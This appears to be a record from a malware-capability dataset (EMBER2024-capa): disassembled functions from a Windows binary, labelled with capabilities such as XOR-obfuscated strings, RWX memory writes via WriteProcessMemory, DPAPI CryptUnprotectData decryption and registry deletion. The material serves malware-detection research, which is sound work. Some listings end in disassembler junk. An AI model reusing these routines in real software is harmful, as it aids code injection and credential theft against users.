joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000ef80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x1000ef9b
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.1000ecad
arpl dx, cx
and dword [eax - 0x73], edi
inc ebp
rcl byte [eax - 0x18], 0xc5
cld
invalid

Function at 0x1000f400
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x1000f384
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x1000f3a2
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja fcn.1000f400
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x1000f3e7
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x1000f3f0
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x1000f3fa
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x1000f3dc
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x1000f366
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x1000f44d
dec eax
je 0x1000f444
sub eax, 3
je 0x1000f43b
mov dword [ebp - 4], 0x40
jmp 0x1000f46a
mov dword [ebp - 4], 4
jmp 0x1000f450
mov dword [ebp - 4], 0x20
jmp 0x1000f450
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x1000f49c
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x1000f41c
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.1000ecad
adc al, byte [0x75ff0e1e]
adc al, 0x6a
add dword [esi - 1], edx
xlatb
mov eax, esi
jmp 0x1000f4a8
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a9cb
Capabilities:
Check if file exists
Get common file path
Get file attributes
Get program files directory
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8ac
push ebx
push esi
push 0x2a
lea esi, [ebp - 0x8c]
pop eax
call fcn.004106a9
lea eax, [ebp - 0x49c]
push eax
xor ebx, ebx
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x40ab4c
lea eax, [ebp - 0x49c]
push eax
push eax
mov eax, esi
call fcn.00424512
test al, al
je 0x40ab4c
push 0x2c
lea esi, [ebp - 0x6c]
pop eax
call fcn.004106a9
lea eax, [ebp - 0x49c]
push eax
lea eax, [ebp - 0x6a4]
push eax
mov eax, esi
call fcn.00424512
test al, al
je 0x40ab4c
lea eax, [ebp - 0x6a4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40ab4c
push 0x2d
lea esi, [ebp - 0x38]
pop eax
call fcn.004106a9
push 0x2e
lea esi, [ebp - 0x50]
pop eax
call fcn.004106a9
push 0x2f
lea esi, [ebp - 0x10]
pop eax
call fcn.004106a9
mov byte [ebp - 1], bl
push edi
movzx eax, byte [ebp - 1]
push eax
lea eax, [ebp - 0x38]
push eax
push 0xa
pop edx
lea edi, [ebp - 0x24]
call fcn.0041f4f4
pop ecx
pop ecx
cmp eax, 1
jl 0x40ab4b
lea eax, [ebp - 0x6a4]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x50]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40ab4b
lea eax, [ebp - 0x6a4]
push eax
push 0x104
lea eax, [ebp - 0x294]
push eax
push ebx
lea eax, [ebp - 0x10]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
test eax, eax
je 0x40ab3e
lea eax, [ebp - 0x294]
cmp word [ebp - 0x294], bx
je 0x40ab02
cmp word [eax], 0x2f
jne 0x40aafa
push 0x5c
pop ecx
mov word [eax], cx
add eax, 2
cmp word [eax], bx
jne 0x40aaee
cmp esi, 1
jne 0x40ab2c
lea eax, [ebp - 0x49c]
push eax
lea eax, [ebp - 0x8ac]
push eax
lea eax, [ebp - 0x294]
call fcn.00424512
test al, al
je 0x40ab3e
lea ecx, [ebp - 0x8ac]
jmp 0x40ab32
lea ecx, [ebp - 0x294]
mov edx, dword [ebp + 8]
call fcn.0040ab52
test al, al
je 0x40ab4b
inc byte [ebp - 1]
cmp byte [ebp - 1], 0xfa
jb 0x40aa7a
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40ab52
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x370
push ebx
push esi
push edi
mov edi, ecx
push edi
push 0x4018dc
xor ebx, ebx
push ebx
push 0x11d
push 0x4018f8
push 0x401940
mov dword [ebp - 0x10], edx
call fcn.00420542
add esp, 0x18
push 0x2b
lea esi, [ebp - 0x20]
pop eax
call fcn.004106a9
push edi
lea eax, [ebp - 0x370]
push eax
mov eax, esi
call fcn.00424512
test al, al
je 0x40ac58
push ebx
push 0x80
push 2
push ebx
push 1
push 0x40000000
lea eax, [ebp - 0x370]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x40ac58
push 0x30
lea edi, [ebp - 0x168]
pop eax
mov byte [ebp - 1], bl
call fcn.00410673
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
lea eax, [ebp - 0xc]
push eax
mov edi, 0x146
push edi
lea eax, [ebp - 0x168]
push eax
push dword [ebp - 8]
call esi
test eax, eax
je 0x40ac35
cmp dword [ebp - 0xc], edi
jne 0x40ac35
mov ecx, dword [ebp - 0x10]
cmp ecx, ebx
jne 0x40ac12
mov byte [ebp - 1], 1
jmp 0x40ac35
call fcn.0041f33e
push ebx
mov edi, eax
lea eax, [ebp - 0xc]
push eax
push edi
push ecx
push dword [ebp - 8]
call esi
test eax, eax
je 0x40ac32
mov byte [ebp - 1], 1
cmp dword [ebp - 0xc], edi
je 0x40ac35
mov byte [ebp - 1], bl
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 1], bl
jne 0x40ac58
lea eax, [ebp - 0x370]
push eax
call fcn.00423fe8
pop edi
pop esi
mov al, 1
pop ebx
leave
ret

Function at 0x40e318
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor bl, bl
jmp 0x40e361
push 0x404590
push 2
push 0x92
push 0x4044e0
push 0x4045c0
call fcn.00420542
add esp, 0x14
cmp byte [ebp + 0x10], 0
jne 0x40e350
cmp bl, 0xa
je 0x40e37a
movzx eax, bl
add eax, 0x1388
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
inc bl
push 0x20
push edi
call esi
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
call fcn.00423e3d
test al, al
je 0x40e327
mov al, 1
jmp 0x40e37c
xor al, al
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x40e483
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
call dword [ebp + 8]
test eax, eax
je 0x40e535
push edi
push dword [ebp - 4]
call fcn.0042232a
mov edi, eax
test edi, edi
je 0x40e50b
push dword [ebp + 0x10]
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
je 0x40e503
push esi
push dword [ebp + 0xc]
push 0x404600
push 0
push 0xf5
push 0x4044e0
push 0x404644
call fcn.00420542
push dword [ebp + 0x14]
mov esi, dword [ebp - 4]
lea eax, [ebp + 0xc]
push 0x409270
push eax
call fcn.0041f57d
add esp, 0x24
test eax, eax
jle 0x40e502
push dword [ebp + 0xc]
push esi
call fcn.00420131
push dword [ebp + 0xc]
call fcn.0041e801
pop esi
push edi
call fcn.0041e801
jmp 0x40e529
push 0x404660
push 2
push 0xfb
push 0x4044e0
push 0x404644
call fcn.00420542
add esp, 0x14
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
jmp 0x40e553
push 0x4046ac
push 2
push 0x100
push 0x4044e0
push 0x404644
call fcn.00420542
add esp, 0x14
leave
ret 0x10
Function at 0x40f390
Capabilities:
Delete registry key
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xbe8
push esi
push edi
push 1
lea edi, [esp + 0x574]
call fcn.0041ce55
mov esi, dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
mov eax, edi
push eax
call esi
push 2
lea edi, [esp + 0x36c]
call fcn.0041ce55
mov eax, edi
push eax
call esi
or dword [0x42ac78], 2
push 0
call fcn.0040e44d
call fcn.00419da4
lea ecx, [esp + 0x570]
call fcn.004242fb
mov ecx, edi
call fcn.004242fb
push 3
lea edi, [esp + 0x164]
call fcn.0041ce55
mov eax, edi
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
mov esi, dword [sym.imp.USER32.dll_CharToOemW]
lea eax, [esp + 0x160]
push eax
lea eax, [esp + 0x574]
push eax
call esi
lea eax, [esp + 0x58]
push eax
lea eax, [esp + 0x36c]
push eax
call esi
push 7
lea edi, [esp + 0xc]
pop eax
call fcn.00410673
lea eax, [esp + 0x58]
push eax
lea eax, [esp + 0x164]
push eax
lea eax, [esp + 0x60]
push eax
lea eax, [esp + 0x16c]
push eax
mov eax, edi
push eax
mov edi, 0x474
lea esi, [esp + 0x78c]
call fcn.0041f503
add esp, 0x14
test eax, eax
jle 0x40f47c
mov eax, esi
push eax
call fcn.004202cf
cmp dword [0x42b140], 0xffffffff
jne 0x40f48d
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40f495
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and dword [ebp - 8], 0
cmp dword [ebp + 8], 0
mov byte [ebp - 2], 1
jbe 0x40f555
push ebx
push esi
push edi
lea ebx, [eax + 8]
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x40f540
mov esi, dword [ebx - 8]
movzx edi, byte [ebx + 4]
mov eax, esi
mov byte [ebp - 1], 0
call fcn.00423436
cmp eax, 0x1e
jb 0x40f51e
lea eax, [ebp - 0xc]
push eax
push 0x40
push 0x1e
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x40f51e
push 0
add edi, 0xfffffffb
push edi
push dword [ebp - 0x10]
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40f506
mov byte [ebp - 1], 1
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
push 0x1e
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
cmp byte [ebp - 1], 0
jne 0x40f540
push dword [ebp - 8]
mov byte [ebp - 2], 0
push 0x404f10
push 2
push 0x4e
push 0x404f58
push 0x404fa0
call fcn.00420542
add esp, 0x18
inc dword [ebp - 8]
mov eax, dword [ebp - 8]
add ebx, 0x10
cmp eax, dword [ebp + 8]
jb 0x40f4b3
pop edi
pop esi
pop ebx
mov al, byte [ebp - 2]
leave
ret 4
Function at 0x40f5c1
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
cmp ebx, dword [ebp + 0xc]
je 0x40f5ef
push dword [ebp + 0xc]
push ebx
push 0x404fac
push 2
push 0x71
push 0x404f58
push 0x404fe8
call fcn.00420542
add esp, 0x1c
xor al, al
jmp 0x40f6ba
push esi
xor esi, esi
xor ecx, ecx
cmp ebx, esi
jbe 0x40f611
mov eax, dword [ebp + 8]
add eax, 0xc
cmp dword [eax - 0xc], esi
je 0x40f663
mov dword [eax - 4], esi
mov byte [eax], 0
inc ecx
add eax, 0x10
cmp ecx, ebx
jb 0x40f5fe
mov eax, ebx
imul eax, eax, 0x23
push edi
push 0x40
push 0x3000
push eax
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
cmp edi, esi
je 0x40f6b6
mov dword [ebp + 0xc], esi
cmp ebx, esi
jbe 0x40f6a4
mov esi, dword [ebp + 8]
add esi, 8
push edi
push dword [esi - 4]
push dword [esi - 8]
call fcn.0042347b
test eax, eax
je 0x40f683
mov dword [esi], edi
add edi, eax
inc dword [ebp + 0xc]
mov byte [esi + 4], al
add esi, 0x10
cmp dword [ebp + 0xc], ebx
jb 0x40f63f
jmp 0x40f6a4
push ecx
push 0x404ff8
push 2
push 0x7c
push 0x404f58
push 0x404fe8
call fcn.00420542
add esp, 0x18
xor al, al
jmp 0x40f6b9
push dword [ebp + 0xc]
push 0x405038
push 2
push 0x8f
push 0x404f58
push 0x404fe8
call fcn.00420542
add esp, 0x18
cmp dword [ebp + 0xc], ebx
jne 0x40f6ad
mov al, 1
jmp 0x40f6b8
mov eax, dword [ebp + 8]
push ebx
call fcn.0040f495
xor al, al
pop edi
pop esi
pop ebp
ret 8

Function at 0x40f96a
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
cmp dword [ebp + 0xc], 0xffffffff
je 0x40fa1a
test byte [ebp + 0x14], 2
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xa8]
push eax
push dword [ebp + 0xc]
mov dword [ebp - 4], 0x80
je 0x40f9aa
call dword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x40f9b2
or eax, 0xffffffff
jmp 0x40fa7e
call dword [sym.imp.WS2_32.dll_getsockname]
jmp 0x40f99e
cmp word [ebp - 0xa8], 2
jne 0x40f9e6
push 4
lea eax, [ebp - 0xa4]
push eax
lea eax, [ebp - 0x20]
push eax
mov byte [ebp + 0xf], 1
call fcn.0041e83d
push 2
lea eax, [ebp - 0xa6]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0041e83d
jmp 0x40fa3e
cmp word [ebp - 0xa8], 0x17
jne 0x40f9a2
push 0x10
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 0x20]
push eax
mov byte [ebp + 0xf], 4
call fcn.0041e83d
push 2
lea eax, [ebp - 0xa6]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.0041e83d
jmp 0x40fa31
push 0x1c
push 0
lea eax, [ebp - 0x20]
push eax
call fcn.0041e8b4
test byte [ebp + 0x14], 1
je 0x40fa3a
mov byte [ebp + 0xf], 4
mov dword [ebp - 4], 0x12
jmp 0x40fa45
mov byte [ebp + 0xf], 1
mov dword [ebp - 4], 6
mov al, byte [ebp + 0x10]
mov byte [ebp + 0xd], al
push 4
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 0x24]
push eax
mov byte [ebp + 0xc], 5
mov byte [ebp + 0xe], 0
call fcn.0041e83d
mov eax, dword [ebp - 4]
add eax, 4
push eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp + 8]
call fcn.00421c5a
xor ecx, ecx
test al, al
setne cl
mov eax, ecx
leave
ret 0x10
Function at 0x410353
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
cmp dword [ebp + 0xc], 0xffffffff
je 0x41039a
test byte [ebp + 0x14], 2
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 0xc]
mov dword [ebp - 4], 0x10
je 0x410386
call dword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x41038e
or eax, 0xffffffff
jmp 0x4103c5
call dword [sym.imp.WS2_32.dll_getsockname]
jmp 0x41037d
mov eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
mov ax, word [ebp - 0x1a]
jmp 0x4103a0
and dword [ebp - 8], 0
xor eax, eax
mov word [ebp - 0xa], ax
mov al, byte [ebp + 0x10]
mov byte [ebp - 0xb], al
push 8
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
mov byte [ebp - 0xc], 0
call fcn.00421c5a
xor ecx, ecx
test al, al
setne cl
mov eax, ecx
leave
ret 0x10
Function at 0x410673
Capabilities:
Encode data using xor

Disassembly:
movzx eax, ax
lea eax, [eax*8 + 0x402e90]
xor edx, edx
xor ecx, ecx
cmp dx, word [eax + 2]
jae 0x4106a0
push esi
mov edx, dword [eax + 4]
movzx esi, cx
mov dl, byte [edx + esi]
xor dl, byte [eax]
xor dl, cl
inc ecx
mov byte [esi + edi], dl
cmp cx, word [eax + 2]
jb 0x410688
pop esi
movzx eax, word [eax + 2]
mov byte [eax + edi], 0
ret

Function at 0x4106a9
Capabilities:
Encode data using xor

Disassembly:
movzx eax, ax
lea eax, [eax*8 + 0x402e90]
xor ecx, ecx
xor edx, edx
cmp cx, word [eax + 2]
jae 0x4106e8
push ebx
push edi
mov edi, dword [eax + 4]
movzx ebx, byte [eax]
movzx ecx, dx
movsx di, byte [edi + ecx]
xor di, bx
xor di, dx
mov ebx, 0xff
and di, bx
inc edx
mov word [esi + ecx*2], di
cmp dx, word [eax + 2]
jb 0x4106bf
pop edi
pop ebx
movzx eax, word [eax + 2]
xor ecx, ecx
mov word [esi + eax*2], cx
ret
Function at 0x411e78
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
xor ebx, ebx
test byte [eax], 2
push edi
push dword [eax + 8]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], ebx
je 0x411e9e
mov edx, dword [eax + 4]
mov eax, dword [ecx + 8]
call fcn.004106f3
jmp 0x411ea6
push dword [ecx + 8]
call fcn.00423d1f
push eax
push 0x4067d8
push ebx
push 0x497
mov edi, 0x406248
push edi
mov esi, 0x40680c
push esi
mov dword [ebp - 0xc], eax
call fcn.00420542
add esp, 0x18
cmp dword [ebp - 0xc], ebx
je 0x411f31
call fcn.0041c9af
push 0x406830
push ebx
push 0x4a0
push edi
push esi
call fcn.00420542
add esp, 0x14
push ebx
push ebx
lea eax, [ebp - 0x10]
push eax
push 0x411c40
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x411f14
lea eax, [ebp - 4]
push eax
call fcn.004223a8
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x406864
push ebx
push 0x4ab
push edi
push esi
call fcn.00420542
add esp, 0x14
push dword [ebp - 0xc]
call fcn.0041e801
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4130b4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x480
push ebx
push esi
push 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
xor ebx, ebx
push ebx
lea eax, [esp + 0x8c]
push eax
push 0x2937498d
call fcn.0041ca6e
lea eax, [esp + 0x88]
push eax
call fcn.0040a017
test al, al
jne 0x41311f
push 0x406d20
push 2
push 0x191
push 0x406c78
push 0x406d7c
call fcn.00420542
add esp, 0x14
xor al, al
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 1
lea esi, [esp + 0xf4]
call fcn.00412b4f
test al, al
jne 0x413161
push 0x406cd4
push 2
push 0x199
push 0x406c78
push 0x406d7c
call fcn.00420542
add esp, 0x14
push 1
lea eax, [esp + 0xf4]
call fcn.00412dba
mov al, bl
jmp 0x413117
call dword [sym.imp.USER32.dll_GetShellWindow]
test eax, eax
setne byte [esp + 0xf]
cmp byte [esp + 0xf], bl
jne 0x41323b
lea esi, [esp + 0x10]
mov eax, 0xa8
call fcn.004106a9
lea eax, [esp + 0x280]
push eax
push ebx
push ebx
push 0x25
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x41323b
lea eax, [esp + 0x280]
push eax
push eax
mov eax, esi
call fcn.00424512
test al, al
je 0x41323b
push 0x44
pop edx
push edx
push ebx
lea eax, [esp + 0x48]
push eax
call fcn.0041e8b4
lea eax, [esp + 0x88]
mov dword [esp + 0x48], eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x44]
push eax
push ebx
push ebx
lea eax, [esp + 0x290]
push eax
mov dword [esp + 0x54], edx
call fcn.004200d6
test eax, eax
je 0x41323b
push dword [esp + 0x38]
push 0x406d90
push ebx
push 0x1b0
push 0x406c78
push 0x406d7c
call fcn.00420542
add esp, 0x18
push 0x1388
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x30]
call esi
mov byte [esp + 0xf], 1
push ebx
push ebx
push ebx
push 0x1003
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
mov bl, byte [esp + 0xf]
cmp bl, 1
jne 0x41314f
push dword [esp + 0x250]
lea eax, [esp + 0xf4]
push dword [esp + 0xf4]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x18]
push eax
push dword [ebp + 8]
mov dword [esp + 0x24], 0x412ff7
mov dword [esp + 0x28], 0x412ffa
mov dword [esp + 0x2c], 0x412ffd
mov dword [esp + 0x30], 0x413021
mov dword [esp + 0x34], 0x413068
mov dword [esp + 0x38], 0x41309d
mov dword [esp + 0x3c], 0x412ff7
call fcn.0040d461
jmp 0x41314f
Function at 0x4140aa
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
push ebx
push esi
mov esi, dword [ebp + 8]
push esi
push 0x4c
mov ebx, eax
pop eax
call fcn.00414057
push esi
push 0x4f
mov dword [ebp - 0x10], eax
pop eax
call fcn.00414057
push esi
push 0x50
mov dword [ebp - 0x14], eax
pop eax
call fcn.00414057
push esi
push 0x4d
mov dword [ebp - 0x18], eax
pop eax
call fcn.00414057
push esi
push 0x4e
mov dword [ebp - 0x20], eax
pop eax
call fcn.00414057
xor ebx, ebx
cmp dword [ebp - 0x10], ebx
mov dword [ebp - 8], eax
setne byte [ebp - 1]
cmp byte [ebp - 1], bl
je 0x414230
mov eax, dword [ebp - 0x18]
push edi
xor edi, edi
cmp eax, ebx
jne 0x414117
mov dword [ebp - 0x1c], ebx
jmp 0x41411f
call fcn.0041ef13
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xc], ebx
cmp dword [ebp - 0x14], ebx
je 0x41414e
push 0x44
lea esi, [ebp - 0x2c]
pop eax
call fcn.004106a9
push dword [ebp - 0x14]
mov eax, esi
push eax
push 0xc
pop edx
lea edi, [ebp - 0x5c]
call fcn.0041f4f4
pop ecx
pop ecx
mov eax, edi
call fcn.0041ef13
mov edi, eax
mov ecx, dword [ebp - 8]
call fcn.0041f350
cmp ecx, ebx
je 0x4141cb
cmp eax, 1
jle 0x4141cb
mov ecx, eax
and ecx, reloc.WS2_32.dll_accept
jns 0x41416e
dec ecx
or ecx, 0xfffffffe
inc ecx
jne 0x4141cb
cdq
sub eax, edx
sar eax, 1
mov dword [ebp - 0x2c], eax
call fcn.0041e7d1
mov dword [ebp - 0x28], eax
cmp eax, ebx
je 0x4141cb
mov ecx, eax
mov eax, dword [ebp - 8]
call fcn.0041f03e
test al, al
je 0x4141c3
lea eax, [ebp - 0x34]
push eax
push ebx
push ebx
push ebx
push dword [ebp + 0xc]
lea eax, [ebp - 0x2c]
push ebx
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
cmp eax, 1
jne 0x4141c3
push dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
call fcn.0041ebbd
push dword [ebp - 0x30]
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp - 0x28]
call fcn.0041e801
push 0x4b
lea esi, [ebp - 0xc0]
pop eax
call fcn.004106a9
push 0x54
lea esi, [ebp - 0x44]
pop eax
call fcn.004106a9
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp edx, ebx
mov eax, 0x406690
cmove edx, eax
cmp ecx, ebx
cmove ecx, eax
cmp dword [ebp - 0x1c], ebx
je 0x414200
mov eax, esi
push edx
mov edx, dword [ebp + 0x10]
push ecx
mov ecx, dword [edx]
push eax
push edi
push dword [ebp - 0x10]
lea eax, [ebp - 0xc0]
push dword [ebp + 8]
push eax
call fcn.0041f350
mov ebx, eax
mov eax, edx
call fcn.0041f590
add esp, 0x1c
push dword [ebp - 0xc]
call fcn.0041e801
pop edi
push dword [ebp - 0x10]
call fcn.004253e3
push dword [ebp - 0x14]
call fcn.004253e3
push dword [ebp - 0x18]
call fcn.004253e3
push dword [ebp - 0x20]
call fcn.004253e3
push dword [ebp - 8]
call fcn.004253e3
mov al, byte [ebp - 1]
pop esi
pop ebx
leave
ret 0xc
Function at 0x414e14
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x484
push ebx
push esi
push edi
push 8
xor ebx, ebx
push ebx
lea eax, [ebp - 8]
push eax
call fcn.0041e8b4
push 0x60
lea esi, [ebp - 0x70]
pop eax
call fcn.004106a9
push 0x61
lea esi, [ebp - 0x30]
pop eax
call fcn.004106a9
mov esi, 0x104
push esi
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x70]
push eax
lea edi, [ebp - 0x278]
mov eax, reloc.WS2_32.dll_bind
call fcn.00422d63
cmp eax, 0xffffffff
je 0x414e8c
cmp eax, ebx
jbe 0x414e8c
push esi
lea eax, [ebp - 0x480]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x480]
push eax
call fcn.00414ba9
cmp dword [ebp - 4], ebx
jne 0x414ef7
push 0x62
lea esi, [ebp - 0x48]
pop eax
call fcn.004106a9
mov eax, esi
mov dword [ebp - 0x18], 0x23
mov dword [ebp - 0x14], 0x1a
mov dword [ebp - 0x10], 0x26
mov dword [ebp - 0xc], eax
xor esi, esi
lea eax, [ebp - 0x278]
push eax
push ebx
push ebx
push dword [ebp + esi*4 - 0x18]
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x414eee
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push 0x414c03
push 2
push 1
lea edx, [ebp - 0xc]
lea ecx, [ebp - 0x278]
call fcn.004243b6
inc esi
cmp esi, 3
jb 0x414eb8
cmp dword [ebp - 4], ebx
jbe 0x414f0b
mov edi, dword [ebp - 8]
push 0xcb
push 0x63
pop eax
call fcn.00413936
jmp 0x414f13
push dword [ebp - 8]
call fcn.0041e801
pop edi
pop esi
pop ebx
leave
ret

Function at 0x414f18
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov eax, dword [ecx]
imul eax, eax, 0x8088405
push 0x20
push 0
push dword [esp + 0xc]
inc eax
push 0
push eax
mov dword [ecx], eax
call fcn.004224ab
push edx
push eax
call fcn.004224df
ret 4